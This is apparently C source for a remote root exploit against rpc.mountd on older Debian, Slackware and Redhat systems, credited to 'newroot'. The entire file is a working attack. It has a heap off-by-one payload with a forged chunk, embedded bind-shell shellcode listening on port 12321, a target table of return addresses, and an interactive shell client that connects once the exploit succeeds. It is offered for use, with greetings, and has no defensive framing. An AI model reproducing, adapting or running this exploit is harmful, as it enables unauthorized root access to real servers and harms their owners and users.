/* * UNPUBLISHED SOURCE CODE *** UNPUBLISHED SOURCE CODE *** UNPUBLISHED SOURCE CODE *** * Private research matrial you dont shoult to have this !!! * * remote rpc.mountd exploit for the recent xlog vunl * written by newroot :) * * attached is a full working REMOTE ROOT EXPLOIT for any debians rpc.mountd * thats compiled with gcc 2.95.4 * * ive written this couse the security industry has stolen our wonderful off by one bugs * maybee its the last time i exploit one of the wonderfull of-by-ones * * so greetings goes first to: * Janusz Niewiadomski -- founder of the bug (public) * klog -- brougt us the off by one techniqe * ^sq -- founds some bugs in the xploitcode and brings us more offsets * sorbo -- i recode my exploit as i saw his xdr things * so many creditz goes to him * newroot -- [www.newroot.de] * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define BUFSIZE 1024 #define ALIGN 1 int connect_host(char *, int); void shell(int); void do_xp(char *, int); extern char *optarg; extern int optind, opterr, optopt; struct _targets { char desc[2048]; int align; unsigned long ret_loc; unsigned long ret_addr; } targets[] = { { "devel", 1, 0xbfffe000, 0x66666666 }, { "Debian 3.0(x86)", 1, 0xbfffe000, 0x0805b018 }, { "Slackware 8.1(x86)", 3, 0xbfffdf00, 0x0805d17c }, { "Redhat 6.2(x86)", 3, 0xbfffe300, 0x0805d8f8 }, { 0x00, 0x00 , 0x00} }; struct fakechunk { uint32_t prev_size; uint32_t size; uint32_t junk; uint32_t bk; uint32_t fd; }; int verbose; /* extra output */ int align; /* padding */ int t; /* targetnumber */ unsigned long ret_addr; unsigned long ret_loc; unsigned char shellcode[] = // port 12321 - linux shellcode "\xeb\x0a""dont tell!" "\x55\x89\xe5\x31\xc0\x66\xc7\x45\xf2\x30" "\x21\x89\x45\xf4\x89\x45\xf8\x89\x45\xfc" "\x89\x45\xe8\xfe\xc0\x89\xc3\x89\x45\xe4" "\xfe\xc0\x66\x89\x45\xf0\x89\x45\xe0\xb0" "\x66\x8d\x4d\xe0\xcd\x80\x89\x45\xe0\xb0" "\x66\xfe\xc3\x8d\x55\xf0\x89\x55\xe4\x31" "\xd2\xb2\x42\x80\xea\x32\x89\x55\xe8\x8d" "\x4d\xe0\xcd\x80\xb0\x66\xfe\xc3\xfe\xc3" "\xfe\xc3\x89\x5d\xe4\xfe\xcb\x8d\x4d\xe0" "\xcd\x80\xb0\x66\xfe\xc3\x31\xd2\x89\x55" "\xe4\x8d\x4d\xe0\xcd\x80\x89\xd9\x89\xc3" "\xfe\xc9\xfe\xc9\xfe\xc9\x31\xc0\xb0\x3f" "\xcd\x80\xfe\xc1\xe2\xf4\x51\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51" "\x89\xe2\x53\x89\xe1\x31\xc0\xb0\x3d\x2c" "\x32\xcd\x80"; void help () { fprintf (stderr, "remote rpc.mountd exploit\n"); fprintf (stderr, "written by newroot\n"); fprintf (stderr, "---------------------\n"); fprintf (stderr, "ussage: %s [options] \n\n", "mounty"); fprintf (stderr, "options are:\n"); fprintf (stderr, "\t-t \t# target type use 0 for list\n"); fprintf (stderr, "\t-a \t# align\n"); fprintf (stderr, "\t-l \t# return localtion 0xdeadface\n"); fprintf (stderr, "\t-b \t# return adress 0xdeadface\n"); fprintf (stderr, "\t-v\t\t# verbose output\n\n"); } void print_targets () { int i; fprintf (stdout, "Supported targets:\n"); for (i=0; targets[i].ret_addr != 0; i++) { fprintf (stdout, "\t%i) - %s\n", i+1, targets[i].desc); } } int connect_host(char * host,int port) { struct sockaddr_in addr; struct hostent *he; int sock; he=gethostbyname(host); if (he==NULL) return EXIT_FAILURE; sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock==-1) return EXIT_FAILURE; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1; return sock; } void shell(int thesock) { fd_set fds; char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n"; int n; FD_ZERO(&fds); FD_SET(thesock, &fds); FD_SET(0, &fds); send(thesock, cmd, strlen(cmd), 0); while(1) { FD_SET(thesock,&fds); FD_SET(0,&fds); if(select(thesock+1,&fds, NULL, NULL, NULL)<0) break; if( FD_ISSET(thesock, &fds) ) { if(!(n=recv(thesock,buff,sizeof(buff),0))) { exit(EXIT_FAILURE); } if (!write (1, buff, n)) break; } if ( FD_ISSET(0, &fds) ) { n = read (0, buff, sizeof(buff)); if(n <= 0){ fprintf(stderr,"EOF\n"); exit(EXIT_FAILURE); } if(send(thesock,buff,n,0)<0) break; } } fprintf(stderr,"done.\n"); exit(EXIT_SUCCESS); } /** trick from sorbos one creditz to him**/ bool_t xdr_dirpath(XDR *xdrs, dirpath *objp) { return xdr_string(xdrs, objp, MNTPATHLEN); } void do_xp(char *host, int t) { int thesock; struct sockaddr_in sin; struct hostent *he; struct timeval tv; CLIENT *client; /* rpc/clnt.h */ dirpath DIR; fhstatus *fh; struct fakechunk chunk; int *ptr; char payload[BUFSIZE+1]; chunk.prev_size = 0xfffffffc; chunk.size = 0xfffffffc; chunk.junk = 0xbfffffa1; memset (payload, 0x41, sizeof(payload)); payload[0] = '/'; payload[BUFSIZE]= 0x00; for(ptr = (int *)((char*)payload+targets[t].align+300); ptr < (int*)(payload+sizeof(payload)-6); ptr++) { *ptr = targets[t].ret_addr+4+8; } chunk.bk = (targets[t].ret_loc)+4-12; chunk.fd = (targets[t].ret_addr)+40; memcpy(payload+4,&chunk,sizeof(chunk)); memcpy(payload+40,shellcode,strlen(shellcode)); he=gethostbyname(host); if (he==NULL) exit(EXIT_FAILURE); memcpy(&sin.sin_addr, he->h_addr, he->h_length); sin.sin_port = 0; sin.sin_family = AF_INET; fprintf (stdout, "[*] target host: %s\n", host); fprintf (stdout, "[*] target ip : %s\n", inet_ntoa(sin.sin_addr.s_addr)); thesock = RPC_ANYSOCK; client = clnttcp_create(&sin, MOUNTPROG, MOUNTVERS, &thesock, 0, 0); if (!client) { fprintf (stdout, "[-] Exploit Failed!\n"); exit (EXIT_FAILURE); } client->cl_auth = authunix_create_default(); tv.tv_sec = 6; tv.tv_usec = 0; DIR = payload; fprintf (stdout, "[*] Sending exploit!\n"); // fh = mountproc_mnt_1 (&DIR, client); if(clnt_call(client, MOUNTPROC_MNT, (xdrproc_t) xdr_dirpath, (void *)&DIR,(xdrproc_t) xdr_void, NULL,tv) == RPC_SUCCESS) { exit(EXIT_FAILURE); } } int main (int argc, char **argv) { char c; int opterr = 0; int thesock; while ((c = getopt(argc, argv, "t:a:l:b:vh")) != EOF) { switch (c) { case 't': t = atoi (optarg); if (t == 0) { print_targets(); return EXIT_SUCCESS; } else { --t; } break; case 'a': align = atoi (optarg); break; case 'l': sscanf (optarg, "%x" , &ret_loc); break; case 'b': sscanf (optarg, "%x" , &ret_addr); break; case 'v': ++verbose; break; default: help (); return EXIT_SUCCESS; break; } } if (argc < 2 ) { help(); return EXIT_FAILURE; } fprintf (stderr, "rpc.mountd remote exploit -- written by newroot!\n"); fprintf(stdout, "[*] Ok going to exploit something...\n"); if (ret_loc) { if (verbose) { printf ("[*] setting return-location to %#x\n", ret_loc); } targets[t].ret_loc = ret_loc; } if (ret_addr) { if (verbose) { printf ("[*] setting return-adress to %#x\n", ret_addr); } targets[t].ret_addr = ret_addr; } if (align) { if (verbose) { printf ("[*] align to %#x\n", align); } targets[t].align = align; } do_xp(argv[(argc-1)], t); thesock = connect_host (argv[argc-1], 12321); if (thesock > 3) { fprintf(stdout, "[*] Exploit successful !!!\n"); fprintf(stdout, "[*] waiting for shell ...\n"); shell(thesock); } else { fprintf(stderr, "[-] Failed!\n"); return EXIT_FAILURE; } return EXIT_SUCCESS; }